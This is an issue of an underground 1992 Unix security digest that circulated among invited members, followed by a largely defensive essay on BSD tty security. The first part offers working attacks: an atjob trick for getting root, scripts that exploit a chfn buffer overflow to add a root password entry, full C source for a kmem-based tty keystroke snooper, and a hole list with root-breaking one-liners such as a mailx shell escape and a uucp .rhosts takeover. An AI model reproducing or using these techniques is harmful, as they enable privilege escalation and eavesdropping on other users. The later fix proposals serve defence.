bug. Cron(1) which run atjobs runs +setuid to root. Normally the atjobs are stored in /usr/spool/cron/atjobs. +There it creates a file owned by the atjob submitter. On many systems +/usr/spool/cron/atjobs is mode drwxr-xr-x and allows a normal user to +chdir(2) to that directory. Many System V crons determine what uid to run +the atjob by the file's owner. Breaking security can be as simple as cding +to cron and change the owner of an atjob you submitted to root. +Alternatively, an atjob that submits another atjob on some systems +will run as root (I don't know why). + +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== + +============================================================================== +chfn.sh cookbook.12.00 02/23/92 +------------------------------------------------------------------------------ +DATA: +chfn +==== +The change finger information facility has a buffer overflow condition +that can be exploited in the following manner. First is a `csh' +script to insure that backups are made and everything is run in order. +The second script is edited due to the number of characters required to +overflow the buffer. + +Script One + #!/bin/csh -f + # + date + echo "" + echo "grep for gretzky in /etc/passwd" + grep gretzky /etc/passwd + echo "" + echo "Making a copy of the password file ..." + cp /etc/passwd etc.passwd + echo "Running the chfn in a script (sh) ..." + sh chfn.test + echo "" + echo "... finished" + echo "" + echo "grep for gretzky in /etc/passwd again" + grep gretzky /etc/passwd + echo "" + echo "NOW grep for aaa in /etc/passwd" + grep aaa /etc/passwd + echo "" + echo " Gotcha! " + echo "" + date + echo "" + +The second script + + #!/bin/sh + # + # The number of letters (a, b, ...) depends on how many fields + # chfn(1) asks for. Ultrix 2.x is 4, as is BSD4.x while SunOS 3.5 is 1. + # + /bin/chfn < + #include + #include + #include + #include + #include + #include + + #define NDZ 1 /* DZ's and DH's have to be mapped into */ + #define NDH 2 /* your own hardware */ + #define NPT 2 /* number of pty controllers */ + #define DZ11 1 /* major device number of the dz11 */ + #define DH11 33 /* major device number of the dh11 */ + #define PTY 20 /* major device number of the ptys */ + #define DZ_X 8 /* eight lines per dz11 */ + #define DH_X 16 /* sixteen lines per dh11 */ + #define PT_X 16 /* sixteen lines per pty controller */ + #undef major() /* need to do this because of kernel */ + #undef minor() /* macros used to strip off device #'s */ + + static struct nlist nl[2]; + + static char *name_list[] = { + "_dz_tty", /* base address of the dz tty structures*/ + "_dhu11" , /* same for the dh's */ + "_pt_tty", /* pseudo-ttys */ + 0 + }; + + main(argc , argv) + char **argv; + int argc; + { + /********************************/ + int major; /* place to hold major # */ + int minor; /* place to hold minor # */ + int board_type; /* tells me which kind of tty */ + int fd; /* fd for memory */ + long offset; /* how far into the above tables*/ + struct tty ttyb; /* place to put the tty buffer */ + extern char *calloc(); /* our friend calloc */ + + get_args(&major , &minor , argc , argv); + check_args(major , minor , &board_type , argv); + get_name_list(board_type , argv); + open_memory(&fd , argv); + { + char *p; /* blank out argument list */ + + for (p = argv[1]; *p != '\0'; p++) *p = '\0'; + for (p = argv[2]; *p != '\0'; p++) *p = '\0'; + } + offset = minor * sizeof(struct tty); + fflush(stdout); + fflush(stdout); + while (1) { + read_tty(fd , nl[0].n_value , offset , &ttyb); + get_clist(fd , &ttyb.t_nu.t_t.T_rawq); + } + } + + /** + *** Much monkeying around was done before I settled on this + *** procedure. I attempted to follow the c_next pointers in + *** the individual cblocks. This is friutless since by the + *** time we do the second seek and read the information has + *** been whisked away. + *** + *** So - The LIMITATIONS of this routine are: + *** + *** cannot read from any tty in RAW mode + *** can only snarf first 28 characters (ie + *** the first cblock) + *** + *** Nice things about this routine: + *** + *** only NEW characters are echoed to the output + *** (eg characters in the cblock which have been + *** seen before are swallowed). + **/ + + get_clist(fd , cl) + register struct clist *cl; + { + static char c[CBSIZE]; + static char *old_start = 0 , *old_finish = 0; + static int old_i = 0; + char *pntr; + int tn , in; + + if ((cl->c_cc > 0) && + ((old_start != cl->c_cf) || (old_finish != cl->c_cl))) { + pntr = c; + lseek(fd , (long) cl->c_cf , 0); + read(fd , c ,(tn=in=cl->c_cc > CBSIZE ? CBSIZE : cl->c_cc)); + if (old_start == cl->c_cf) { + in -= old_i; + pntr += old_i; + } + if (in > 0) while (in--) putchar(*(pntr++)); + else if (in < 0) while (in++) putchar('\010'); + fflush(stdout); + old_i = tn; + old_start = cl->c_cf; + old_finish = cl->c_cl; + } + if (cl->c_cc <= 0) { + if (old_i != 0) putchar('\n'); + old_i = (int) NULL; + old_start = old_finish = NULL; + } + } + + read_tty(fd , base , offset , buffer) + long base , offset; + register struct tty *buffer; + { + register int i; + + lseek(fd , base + offset , 0); + i = read(fd , buffer , sizeof(struct tty)); + if (i != sizeof(struct tty)) { + printf("unexpected return from read\n"); + printf("should have been %d\n" , sizeof(struct tty)); + printf("was %d\n" , i); + exit(0); + } + } + + open_memory(fd , argv) + int *fd; + char **argv; + { + if ((*fd = open("/dev/kmem" , 0)) < 0) { + perror(argv[0]); + exit(0); + } + } + + get_name_list(index,argv) + int index; + char **argv; + { + nl[0].n_name = name_list[index]; + nlist("/vmunix" , nl); + if (! nl[0].n_type) { + printf("%s: couldn't get name list\n" , argv[0]); + exit(0); + } + printf("%s starts at %08x\n" , nl[0].n_name , nl[0].n_value); + } + + get_args(major , minor , argc , argv) + int *major , *minor , argc; + char **argv; + { + if (argc != 3) { + fprintf(stderr,"usage: %s major_dev minor_dev \n" , argv[0]); + exit(0); + } + *major = atoi(argv[1]); + *minor = atoi(argv[2]); + printf("Major Device: %d -- Minor Device: %d\n" , *major , *minor); + } + + check_args(major , minor , board , argv) + char **argv; + int *board; + { + if (minor < 0) { + bad_minor: printf("%s: bad minor device number\n" , argv[0]); + exit(0); + } + switch (major) { + + case DZ11: + if (minor >= NDZ * DZ_X) goto bad_minor; + printf("DZ11 - Unit %d\n" , minor / DZ_X); + *board = 0; + break; + + case DH11: + if (minor >= NDH * DH_X) goto bad_minor; + printf("DH11 - Unit %d\n" , minor / DH_X); + *board = 1; + break; + + case PTY: + if (minor >= NPT * PT_X) goto bad_minor; + printf("PTY - Unit %d\n" , minor / PT_X); + *board = 2; + break; + + default: + printf("%s: bad major device number\n" , argv[0]); + exit(0); + } + } +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== + + BoreD Security Digest Issue 4 + + Toooo sexy for CORE + You're NOT dealing with AT&T!!! + +The unix BoreD security mailing list is by invitation only and contains +sensitive material which SHOULD NOT BE REVEALED to non-members. +DO NOT PUT ANY LIST CONTENTS IN LOCATIONS ACCESSABLE TO NON-MEMBERS. +If you must keep copies on-line, please encrypt them at the very least. + +PLEASE POST TO: infohax@stormking.com +PLEASE SEND EMERGENCY ALERTS TO: infohax-emergency@stormking.com +PLEASE SEND REQUESTS TO: infohax-request@stormking.com + + + SPECIAL TTY/PTY ISSUE + + But, seriously. First things first. This newsletter does not +condone any action that is illegal (much less immoral). What you do in +your spare time is your business and not ours. Some of the material +presented here mabye unsuitable for readers under the influence of SS +control. However, this newsletter is too legit. + Next, the editorship has been changed to a compile-revision-revision- +release type format with one person doing each part (therefore in effect having +four editors). This is not a sole -I am gh0d and you are n0t- type digest. +The editorship is being shared. + Third, this is the fourth issue. These issues come out due to +member participation. So far we are doing great, 4 issues in 4 months. (well, +not as good as the original 1 issue per 2 week target but it isn't bad). +However, due to recent events, material has not flowed as clear as it should +and we need your thoughts/ideas/submissions more than ever. This is a special +TTY issue and more submissions for the next issue are needed. We hope to +put out another TTY/PTY issue in the next couple of issues ahead so we need +your tty/pty stuff! + +Do not ship these issues to any one of your friends. Do not keep copies +online. Do not reveal the name of the project or any of its members. If +you do know of a potential member name him in here first by contacting one +of us. +----------------------------------------------------------------------------- + +-Table of Comments for Issue 4- + + 1. Prelude/Comments + 2. Table of Contents + 3. Holes List 2 ....................................(hole2.lst) + 4. TTY Comments ....................................(tty.comments) + 5 TTY Partial Article .............................(tty.article) + 6. blast.c .........................................4.cb.15.00 + 7. bugntrig.c ......................................4.cb.15.01 + 8. readtty.c .......................................4.cb.15.02 + 9. stufftty.c ......................................4.cb.15.03 +10. tty-spy1: cover.c ...............................4.cb.15.04 +11. tty-spy2: assorted ..............................4.cb.15.05 + +----------------------------------------------------------------------------- +============================================================================== +hole.list.2 hole.list.01 02/23/92 +------------------------------------------------------------------------------ +DATA: + +========= + GENERAL +========= + +1. Do not allow usernames to contain any of the following characters ";~!`" + (or any shell meta-charaters). This allows setuid root programs that + popen to be spoofed. + +2. Never allow a setuid to root program to send a mail message that the user + creates to either the Berkeley mailer or mailx. All a user has to do + to break root is to send a line such as: + +~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh + + That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell + escape to be executed if the line starts in column one of stdout while + entering the message text. + +3. Most security holes in UNIX are related to incorrect setting of directory + and file permissions or race conditions in the kernel that allow setuid + programs to be exploited. All non-standard setuid programs should be + examined. + +4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can + break security relatively easily. MIT's PROJECT ATHENA came up with + Kerberos to address these problems, networks are usually very insecure. + +5. The mount command should not be executeable by ordinary users. A setuid + program on a mountable disk is NOT TO BE TRUSTED. + +6. Systems that allow read-only mounting of foriegn disk are a security + hole. Setuid programs are normally honored. This allows a person who + has root access on a foriegn machine to break it on another. + +7. Expreserve can be a huge hole (see the following) + + /dev/fb + the frame buffer devices on at least suns are world + readable/writeable, which is at best annoying (when + someone runs something strange on you) and at worst + insecure (since someone can take a snapshot of your screen + via screenload or whatnot) + + /dev/*st*, *mt*, etc (tape devices) + generally world readable/writeable, bad since others can + nuke your tapes, read your backups, etc. + + chfn, chsh + used to create a root account + + core + will system dump a setgid core image? + + domain name system + a sysadmin running the soa for a domain somewhere can + create a bugs reverse address mapping table for one of his + hosts that causes its IP address to have the domain name + of a machine that my host has in its hosts.equiv file. if + i'm using the usual version of 'istrusted' (I think that's + the routine's name), the address lookup reveals the name + of the host to be one that my host trusts, and this other + sysadmin can rlogin into my machine or rsh or whatnot at + will. + + fchown + test for bad group test + + ftruncate + can be used to change major/minor numbers on devices + + fingerd + hard .plan links - reading unreadable files readable by + user(fingerd) + + setuid, .plan links + + running as root + (fingerd_test.sh) + + buffer overrun + + file mod test. + test of file does not loose the setuid bit when modified + + + ftp + ftpd + static passwd struct overwrite + + 4.2 based bug, userid not reset properly, (after logging + in enter comment "user root" and you are, last seen + onder SunOS 3.3?). + + overwrite stack somehow? + + hosts.equiv + default + entry + + istrusted routine - easy to spoof by bad SOA at remote + site with hacked reverse address map. + + lock + 4.1bsd version had the password "hasta la vista" as a + builtin trapdoor. (found in ultrix) + + lost+found, fsck + lost+found should be mode 700, else others might see + private files. + + lpd + its possible to ovberwrite files with root authority with + user level access locally or remotely if you have local + root access + + lpr + lpr -r access testing problem + + lprm + trusts utmp + + passwd + fgets use allows long entries which will be mangled into + ::0:0::: entries + + also allows: + fred:...:...:...:Fred ....Flintstone::/bin/sh => + fred:...:...:...:Fred..... + Flintstone::/bin/sh + which is a root entry with no password! + + fix - should skip to eol if it didn't read whole entry, + should enforce buffer limits on text in file, don't use + atoi (since atoi(/bin/sh) is 0). + + portmap + allows other net entities to make bindings - may not be a + "security hole", can lead to denial of service. + + rcp + nobody problem + + rexd + existence + + rwall,comsat + running as root, utmp world writeable, writes to files as + well as devices in utmp dev fields. + + + rdist - buffer overflow + + selection_svc + allowed remote access to files + + sendmail + debug option + + wizard mode + + TURN command + allows mail to be stolen + + decode mail alias - anyone can send mail to decode, write + to any file onwed by daemon, if they can connect to + sendmail daemon, can write to any file owned by any user. + + + overflow input buffer + cause the sendmail deamon to lock up + + overwrite files + sendmail can be "tricked" into delivering mail + into any file but those own my root. + + -oQ (different Q) + fixed in newer versions + + mqueue must not be mode 777! + + what uid does |program run with? + + sendmail -bt -C/usr/spool/mail/user - in old versions, + allows you to see all lines of the file. + + setuid bit handling + setuid/setgid bit should be dropped if a file is modified + + fix: kernel changes + + setuid scripts + there are several problems with setuid scripts. is it + worth writing tests for these? some systems might have + fixed some of the holes - does anyone know how one fixes + these problems in a proactive fashion? + + sh + IFS hole (used with vi, anything else?) + + su + overwrite stack somehow? + + tcp/ip + sequence number prediction makes host spoofing easier + + source routing make host spoofing easier + + rip allows one to capture traffic more easily + + various icmp attacks possible + + (I suspect a traceroute'd kernel will allow one to easily + dump packets onto the ethernet) + + tftp + allows one to grab random files (eg, /etc/passwd). + fix - should do a chroot + + allows puts as well as gets, no chroot + + fix - don't run as root, use chroot, no puts, only if boot + server. + + utmp + check to see if world writeable (if so, the data can't be + trusted, although some programs are written as though they + trust the data (comsat, rwalld)). + + uucp + check if valid uucp accounts are in the /etc/ftpusers. If + the shell is uucico and passwd is valid make sure it is + listed in ftpusers. + + check to see that uucp accounts have shell: if left off, + folks can do: + + cat >x + myhost myname + ^D + uucp x ~uucp/.rhosts + rsh myhost -l uucp sh -i + + HDB nostrangers shell escape + + HDB changing the owner of set uid/gid files + + HDB meta escapes on the X command line + + HDB ; breaks on the X line + + uudecode + if it is setuid, some versions will create setuid files + + + ypbind + accepts ypset from anyone (can create own ypserv and data, + and ypset to it...) + + ypserv spoofing + send lots of bogus replies to a request for root's passwd + entry, while doing something that would generate such a + request [I'm pretty sure that this is possible, but + haven't tried it.] + + AIX + * password means use root's password? + + AIX 2.2.1 + shadow password file (/etc/security/passwd) world + writeable + + fix - chmod 600... + + 386i login + fix - nuke logintool, hack on login with adb, chmod 2750 + + ultrix 3.0 login + login -P progname allows one to run random programs as root. + fix - chmod 2750. + + xhost: + if access access control is disabled any one can connect to + a X display it is possible and create (forge) and/or + intercept keystrokes. + + + + +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== + +In the Crunch Act of 1992 the Supreme Court ruled that phones are against the +law. Use a phone. Go to jail. That's the law. + +============================================================================== +tty.comments 4.ch.02.01 04/04/92 +------------------------------------------------------------------------------ +DATA: + + +BSD tty security, part 1: The Berkeley Experience + +Three weeks ago Keith Bostic gave me an account on vangogh.berkeley.edu, +running one of the latest revisions of BSD 4.3-Reno, so that I could +test the system for tty bugs. (What a remarkable coincidence. :-) ) +I have bad news, good news, and a quick summary of what Berkeley is +planning to do about tty security. + +The bad news: The system allows any user to take over a session started +by script. Presumably this also applies to xterm, emacs, expect, et al. +``Take over'' means invisible writing, tty mode mangling, and TIOCSTI. +Modulo some races, it lets any user output any number of characters at +the beginning of another user's telnetd connection, and may allow more +access (I haven't tested this thoroughly). Furthermore, it lets any user +log any other user out, given preparation. There are several minor holes +which should not be serious problems and which I won't describe here. + +The good news: BSD now has a revoke(filename) syscall which achieves +similar effects to the enforce() that has been proposed here before; +telnetd uses revoke() in a way that I believe guarantees the security of +the tty. This does not stop I/O before the revoke(), but Marc Teitelbaum +says (and I agree) that proper flushing and a bit more paranoia will +completely shield login sessions from attack. Unfortunately, revoke() is +not usable by unprivileged programs like script, so for most purposes +ptys are as insecure as they were in BSD 4.2. + +Last-minute good news: Marc has found the bug that allowed the logout +problem. He will fix it. + +What BSD plans to do in the future about tty security: Apparently 4.4 +will have ``bstreams'', roughly equivalent to the other stream systems +in the world. ptys will be re-implemented as bstreams, so they will +(finally!) be dynamically allocatable. Hopefully everyone at Berkeley +will agree that ptys do not belong in the filesystem; the ones who know +this are working to convince those who aren't sure, or so I hear. + +Given this radical reorganization, it appears that BSD 4.4 ttys will be +secure. If this is true, I withdraw my previous threat. (But see part 4 +for further comments.) + +In the meantime (i.e., until someone gets up the courage to implement +bstreams) I have outlined to Marc a reasonably simple plan for making +ttys completely secure without radically changing the kernel or system +applications. I hope he sees that the plan involves at most a couple of +hours of work, so that with luck secure ttys will make it into the next +interim BSD release. As my plan also applies to BSD 4.2 and 4.3 and +popular systems derived from them, I have included it here as part 3. + +BSD tty security, part 2: The POSIX Perspective + +[Warning: By the end of part 1 you may have thought I was in a good +mood. Sorry, but no more Mr. Nice Guy. I will return to sweetness, +charm, and light in part 3.] + +One of the security holes mentioned in part 1 (any user being able to +log any other user out) was a deeply buried bug in Berkeley's +implementation of a new POSIX requirement. This is a good example of how +additional security channels (viz., POSIX sessions) make the system much +more fragile. One of the virtues of the original UNIX system was that +all security went through a single channel, namely the uid. Why can't we +stick to this model? + +Popular BSD-derived POSIX systems like Ultrix 4.1, SunOS 4.1, and Convex +UNIX 9.0 are completely insecure: any user can take complete control of +any other user's session, with no privileges, no warning, no visible +effect if the attacker is careful, and no logs after the fact. + +I asked Marc Teitelbaum how POSIX (particularly POSIX sessions) helped +tty security in the latest BSD 4.3. He pointed to revoke(), but revoke() +only helps security because it is applied at the *beginning* of a +session, and this is not required or even hinted at by POSIX. He +couldn't find another answer. I can still take full control of any +session begun by script or screen or emacs or expect. + +As those of you involved with POSIX know, any process can send SIGCONT +to any other process in the same session, dodging all the restrictions +of normal security and job control. Believe it or not, SIGSTOP and +SIGCONT used to be a valuable synchronization technique, even for +privileged applications. Now they're useless. This can only be regarded +as a security hole. + +Is it unreasonable to conclude that POSIX sessions do not help security? +That, in fact, they hurt security, by forcing changes upon a quite +fragile piece of the system? + +It gets worse. In comp.unix.* we've seen repeated complaints that POSIX +breaks popular applications. No, I'm not even talking about pty. I'm +talking about screen, and expect, and emacs. These programs want to +control children running under a different terminal, but POSIX simply +doesn't acknowledge that people *want* cross-session job control. It +invented ``orphaned process groups''---yet another ``standard'' which +has never shown benefits and which breaks applications left and right. + +Is it unreasonable to conclude that POSIX sessions are a problem? + +I keep asking people what POSIX sessions do for users, or programmers, +or administrators, or system implementors. Nobody comes up with an +answer. ``They were meant to make job control secure,'' people say. So +why tf are they required even on systems not supporting the job control +option? + +After all this I'm not even going to say POSIX sessions should be +abolished. All I want is for them to be made optional, like job control. +It really wouldn't be difficult---just change a couple of definitions +and put the equivalent of #ifdef SESSION around the dozens of additional +rules invented for POSIX sessions. Is this such a price to pay for +backward compatibility, extra security, and the chance to make POSIX +improve over the years as people figure out simpler job control models? +And doesn't it make sense that inventions in a standard should be +optional to begin with? + +Let me close these comments with a personal remark: The next time I +report tty security holes to a vendor, if I hear ``We've fixed that, +we support POSIX,'' I'm probably going to do something violent. Maybe +it'll just be a symbolic burning of the latest POSIX 1003.1 in the +middle of Central Park, but I know it's gonna be violent. :-) + +BSD tty security, part 3: How to Fix It + +Here's one way to fix the BSD 4.[234] tty system, i.e., to provide some +strong guarantees that pty and tty sessions are safe and not subject to +corruption or denial of service, with minimal changes to the kernel and +to application programs. This is also meant to apply to systems derived +from BSD, such as SunOS, Ultrix, etc. + +I've included quite a bit of sample code here, as well as evaluations of +what effect these changes will have on users and old programs. Thanks in +particular to Marc Teitelbaum for his extensive comments. The second +half of the article includes a bunch of optional recommendations that +may make your life easier but are not necessary for security. + +Quick summary of kernel changes required: Make /dev/tty ioctls work on +/dev/tty??, make a /dev/stdtty driver which simply dup()s fd 3, and add +an ioctl, TIOCOPENCT, which returns the number of active references to a +given inode. That's it. + +Quick summary of application changes required: Have certain programs do +an extra open() of the slave side to fd 3, move two device drivers, add +about fifteen lines of code (forty with complete error checks) to those +programs, add a new uid and group, make /dev/[pt]ty* world-inaccessible, +change chmod()s in those programs so that /dev/[pt]ty* remain +world-inaccessible, and make various programs setuid or setgid. That's +it. + +1. Make all /dev/tty-specific ioctls work upon /dev/tty??. If the only +such ioctl is TIOCNOTTY, this is not necessary unless you want to +preserve the programmer's interface to detachment (which is probably +necessary). This may take some work. This step is safe, in that it will +not break working code. + +2. Set up a /dev/stdtty driver that dup()s fd 3. This is tedious but not +difficult in principle. On systems with /dev/fd/3, all you have to do is +ln /dev/fd/3 /dev/stdtty. This step is safe. + +3. Add an ioctl---I propose ioctl(fd,TIOCOPENCT,&x)---which *reliably* +sets x to the number of references to the *file* (not open file: I mean +file on disk, i.e., dev/inode pair, i.e., [igv]node) given by fd, or -1 +if fd is not a disk file. Here ``reference'' means open file (i.e., the +thing in the file table). Under NFS I believe it is sufficient to report +v->v_count of the vnode. ``Reliably'' means that no matter what is going +on---swapped processes, locks of all sorts on the inode, file descriptor +passing, opening and closing---the returned information will be +absolutely correct starting from when ioctl() finishes and continuing as +long as no process opens or closes the file in question. This step is +safe. + +4. Make sure that each of the tty-handling programs---getty, telnetd, +rlogind, script, etc.---opens /dev/ttyxx again in the master process and +leaves it open for use in #9 below. ``Master process'' means the process +in charge of the master side of the pty---telnetd, for instance. This is +easy: + +int fdttyagain; /* global variable */ +... +/* in the parent right after fork */ +fdttyagain = open(line,O_RDWR); +if (fdttyagain == -1) + syslog(LOG_CRIT,"cannot open %s again: %m",line); + /* or whatever your favorite error reporting method is */ + +This step is safe. + +5. Make a new uid, pty. Make each of the non-root tty-handling programs +(that means script, as well as programs like atty, mtty, pty, etc. if +you have them installed) setuid pty, and make sure they reset uids +before executing anything. Do not make pty the same as root, unless your +system handles MAXUPRC by effective userid (ugh)---in that case you +can't safely run anything setuid to any user but root, and you should +complain to your vendor. (The latter is true under, e.g. Ultrix 3.1.) +This step is safe, but will take some work if you have many non-root +tty-handling programs. + +6. Change the root tty-handling programs (e.g., telnetd) so that they +reset ttys to owner pty mode 600 rather than owner root mode 666. This +step will break any user programs that allocate ttys dynamically and +that you didn't take care of in #5. It is safe otherwise. + +7. Have each of the tty-handling programs---getty, telnetd, rlogind, +script, etc.---open file descriptor 3 to the tty. This is trivial: + +{ /* after closing other descriptors, right before exec'ing the slave */ + int fdtty; + fdtty = open(line,O_RDWR); /* line is, e.g., "/dev/ttyp7" */ + if (fdtty == -1) + ; /* XXX: complain to the user, or exit */ + else if (fdtty != 3) + { + if (dup2(fdtty,3) == -1) + ; /* XXX: complain to the user, or exit */ + close(fdtty); + } +} + +This step will break any old code that assumes the first open() will +return 3. (Such code is disgusting, but this is beside the point.) + +8. ln /dev/tty /dev/oldtty; rm /dev/tty; ln /dev/stdtty /dev/tty; +chmod 600 /dev/oldtty. This is the first change that will affect users +directly. However, if you have done steps 1, 2, and 7 correctly, nobody +will notice. Marc comments that any programs which redirect or close fd +3 will be affected if they later use /dev/tty; he couldn't think offhand +of any such programs except ksh, which isn't installed on most BSD +machines. If you do find further examples of such programs or scripts, +please post the fixes here. An alternative is to use fd 11 instead of +fd 3 throughout these changes; this won't help ksh, but I've never seen +a script use fd 11. + +9. In each of the tty-handling programs, do the following upon slave +exit: (a) Clean up everything except (if it is convenient) [uw]tmp. +Close 0, 1, 2, and any other random descriptors lying around, except +/dev/ptyxx and /dev/ttyxx. (b) Test /dev/ttyxx with TIOCOPEN*. If +someone else still has it open, continue to step (c); otherwise skip to +step (d). (c) Fork, and exit in the parent. Repeatedly test /dev/ttyxx +(a five-second sleep is fine) until it is closed. (d) Clean up [uw]tmp +and exit. Note that steps (b) and (c) can fit into a simple library +routine. Here's sample code, with paranoid error checking: + +/* after cleaning up mostly everything */ +if (fdttyagain != -1) + { + /* Assumption: /dev/ttyxx is back to mode 600 owner pty. */ + int count; + close(0); close(1); close(2); + ... /* close any other descriptors previously opened */ + /* _except_ /dev/ptyxx (``fdpty'', perhaps) and fdttyagain */ + (void) ioctl(fdttyagain,TIOCEXCL,(char *) 0); + /* entirely optional, but better safe than racing */ + /* if TIOCOPENCT is not completely reliable */ + if (ioctl(fdttyagain,TIOCOPENCT,&count) == -1) + syslog(LOG_CRIT,"cannot count open references to %s: %m",line); + /* or whatever your favorite error reporting method is */ + else + if (count > 1) + { + syslog(LOG_INFO,"waiting on %s",line); + switch(fork()) + { + case -1: + syslog(LOG_CRIT,"cannot fork to wait on %s: %m",line); + break; + case 0: + { + int i; + i = 0; + for (;;) + { + sleep(5); + if (ioctl(fdttyagain,TIOCOPENCT,&count) == -1) + syslog(LOG_CRIT,"weird: cannot count open references to %s: %m",line); + else + if (count == 1) + break; + ++i; + if (!(i % 1000)) + syslog(LOG_INFO,"waited %d secs on %s",i * 5,line); + /* XXX: If i gets large enough, you may want to take */ + /* desperate measures at this point. Example: */ + /* vhangup(); fcntl(fdpty,F_SETFL,FNDELAY); */ + /* vhangup(); write(fdpty,"x",1); vhangup(); */ + /* read(fdpty,"y",1); vhangup(); */ + /* And then break. */ + } + } + syslog(LOG_INFO,"done waiting on %s",line); + break; + default: + exit(0); + } + } + /* now finish cleaning up everything, and exit */ + } + +It doesn't really matter where the above code comes inside a cleanup +routine, as long as the tty already has the right modes. I think it's +aesthetically better to leave the utmp entry alone until the tty is +deallocated; but if this isn't convenient for some program, feel free to +ignore aesthetics and put the code right before exit(). + +Marc notes that this change will leave a pseudo-tty allocated to a user +as long as the user has a background process on the tty. Religious types +will say ``yes, that's how it should be.'' I say that at sites I'm +familiar with, this isn't a problem, because users don't run very many +background jobs, and there are more than enough pseudo-ttys. If this is +a problem for you, you will have to do step #20 below and educate your +users to detach background jobs, meanwhile killing any runaways. Sorry, +but this is the price you pay for security. You may prefer the +``desperate measures'' mentioned in the sample code to simply cut off +tty access after a few hours; any use of vhangup() is chock-full of race +conditions, but it would be exceedingly difficult for a process to make +it past all the races. + +10. chown pty /dev/[pt]ty*; chmod 600 /dev/[pt]ty*. This is the big step. +Nonprivileged programs will no longer be able to open any ttys or ptys, +so nobody can deny service to other users without executing a privileged +program that will later show up in acct. Furthermore, the TIOCOPENCT +code guarantees that if a tty-handling program exits, absolutely nobody +is using that tty, so it is safe for immediate use by the next +tty-handling program. This throws a huge wrench into all the fundamental +tty security holes I know. + +11. If you're using a Sun, make sure to chmod 600 /etc/utmp, or these +changes will go to waste. You may find it convenient to make certain +programs setgid or setuid here so that they can still write utmp, though +I consider this a mistake---you are bound to slip up when a hundred +different tools all manage one supposedly secure file. (But anything is +better than what Sun currently ships.) + +12. Support the BSD 4.3 tty group model: make a new group, tty, chgrp +all /dev/tty* to it, and make ``talk'' and ``write'' setgid tty. Of +course, you don't need to do this if you already have the tty group. + +It's possible to accomplish similar results with fewer changes. In fact, +my next version of pty will almost guarantee safety on stock BSD 4.2 +systems with no kernel support except read access to /dev/kmem. (It is, +unfortunately, not possible to avoid race conditions from user code.) +You can, for example, place the burden of TIOCOPENCT checking upon the +program opening the tty, rather than the program closing it, so that +it's not a problem if one tty handler fails to do its job; but this +increases turnaround time for the users and allows denial-of-service +attacks. The above changes should be straightforward enough that halfway +solutions are not worthwhile. + +(POSIX fans will note that using TIOCOPENCT to keep the tty allocated +past session leader exit *is* compliant: it only affects the secure BSD +exclusive lock on the master side, and does not prevent reassignment of +the slave tty to a new session---not that such a reassignment will ever +occur.) + +Why must tty-handling programs be setuid rather than setgid? Because the +user must not be allowed to kill them---he would be able to retain tty +access that way. + +There are many further changes you can make to eliminate minor security +holes or improve accounting. EVERYTHING BELOW THIS POINT IS COMPLETELY +OPTIONAL. Here are some of the most important: + +13. Fix write. Many people don't appreciate how poor write's security +is; I quote from my pty paper's description of a write clone: + +: Finally, write is a vastly improved clone. The old write had several big +: security holes: 1. Control characters were passed through. This version +: converts anything unprintable into a caret. 2. Lines were not +: distinctively marked. A user could manually simulate the ``EOT'' or +: ``EOF'' sequence, wait a few minutes, then start sending anything to the +: other tty without identification. This version precedes each line with +: the name of the sending user, and prints something more informative than +: EOT for an ended message. 3. write could be used to flood a terminal. +: (This is an accident waiting to happen.) This version puts a one-second +: pause between each line and restricts line length. 4. Originally, write +: would only check the protection on the tty being written to. But this +: meant that a user could be interrupted by someone hiding behind mesg n +: and have no recourse. (Footnote: Remember that UNIX has no enforce() +: call to enforce new permissions on an object. Setting mesg n does not +: stop a write in progress.) So many versions of write included +: ``revenge'': X was allowed to write to Y only if Y could write back. +: However, these versions tested tty protection only at the beginning of a +: message---which was useless. This version does the correct test: it +: simply checks write permission before sending each new line. + +My write clone is public-domain, so I invite you---I beg you---to steal +code from it. Don't even give me any credit, just fix the bugs. Please. + +14. Make script grok utmp and wtmp. (You may have to rethink certain +wtmp-based accounting schemes to do this.) Users constantly complain +that they can't ``talk'' within script, and the lack of accounting +is annoying. This doesn't matter under #18. + +15. Change the chown() and fchown() system calls so that files can be +chowned between uid and euid. This opens up chown() for lots of secure +services without forcing the servers to run as root. In this case, it +lets script change the tty owner properly. This doesn't matter, though, +if you implement #16. + +16. Don't even bother chowning ttys to the users who own them. (At this +point they might as well not be in the filesystem.) Yes, you can make +biff and mesg setuid pty, and no, nothing breaks except nroff's mesg n. + +17. Make sure that telnetd, rlogind, etc. leave ttys with messages *off* +by default. Since UNIX has no way to enforce new access permissions on a +file, the usual default leaves all users open to instant attack. This is +a huge problem in the real world (at universities, at least), and while +there may be a sane argument for having messages on by default, it +cannot justify what amounts to unrestricted output to any and all ttys. + +Finally, here are some optional changes that will make the above changes +much easier, or that will add basic features to your system. Do them +first and you'll never regret it. + +18. Provide a program that spawns another program under a pseudo-tty, +handling I/O and job control transparently, and obeying all the rules +for tty handlers mentioned above. In fact, the program already exists by +the name of ``pty'' (see, e.g., comp.sources.unix volume 23), and its +author is quite willing to negotiate distribution terms. pty also +supports session management. (Isn't it embarrassing to explain UNIX to a +long-time VMS user? ``No, sorry, Bob, you can't get back to that shell +after your modem went on the fritz. The shell is gone.'' ``vi -r? Oh, +yeah, Bob, that means your connection got hung up.'' ``Nope, sorry, Bob, +you can't start recording a `talk' session without hanging up and +talking again.'' ``No, Bob. This is not VMS. Your process is stuck to +that terminal, right there. Yes, I understand, the terminal screen just +exploded, and you can't see your output. No, you cannot move to the next +terminal and continue work. Sorry, Bob, you're out of luck. Bye, Bob.'') + +19. Rewrite all other tty handlers (it's easy---trust me) to invoke that +single, modular program. Don't you find it strange that a dozen programs +all have the same pty allocation code? Don't you find it unreasonable, +at least from a ``software engineering'' standpoint, that since people +are too lazy to do (e.g.) random tty searching every time they recopy +the same code, your average tty handler wastes several dozen open()s on +a big machine when it could use just two? In fact, I'll be glad to do +all the work of conversion for you, provided that you agree to make the +final version available for people to use. + +20. Provide a program that detaches from its controlling tty and spawns +another program. The program is usually called ``detach'' and has no +options of note. It should also seek out and reopen("/dev/null") any +file descriptors pointing to any tty. + +21. Delete /dev/oldtty and remove the /dev/tty driver from your kernel. +Also remove controlling ttys entirely. Also remove POSIX 